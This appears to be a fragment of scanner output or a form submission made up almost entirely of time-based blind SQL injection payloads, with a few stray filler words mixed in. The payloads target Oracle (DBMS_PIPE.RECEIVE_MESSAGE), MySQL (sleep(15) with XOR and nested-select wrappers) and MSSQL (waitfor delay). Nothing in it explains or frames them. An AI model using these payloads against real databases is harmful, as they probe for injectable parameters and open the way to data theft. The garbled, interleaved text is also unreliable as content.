' params the model the'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' the0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z the0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ the'" the-1 waitfor delay '0:0:15' -- if(now()=sysdate(),sleep(15),0)